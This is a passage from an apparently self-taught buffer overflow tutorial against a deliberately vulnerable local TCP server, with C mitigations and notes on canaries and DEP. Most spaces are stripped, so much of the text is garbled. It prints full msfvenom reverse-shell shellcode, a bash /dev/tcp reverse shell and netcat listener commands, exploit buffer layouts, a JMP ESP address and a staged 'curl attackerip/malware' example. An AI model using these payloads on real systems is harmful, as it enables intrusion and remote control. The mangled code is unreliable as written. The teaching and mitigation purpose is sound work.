EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

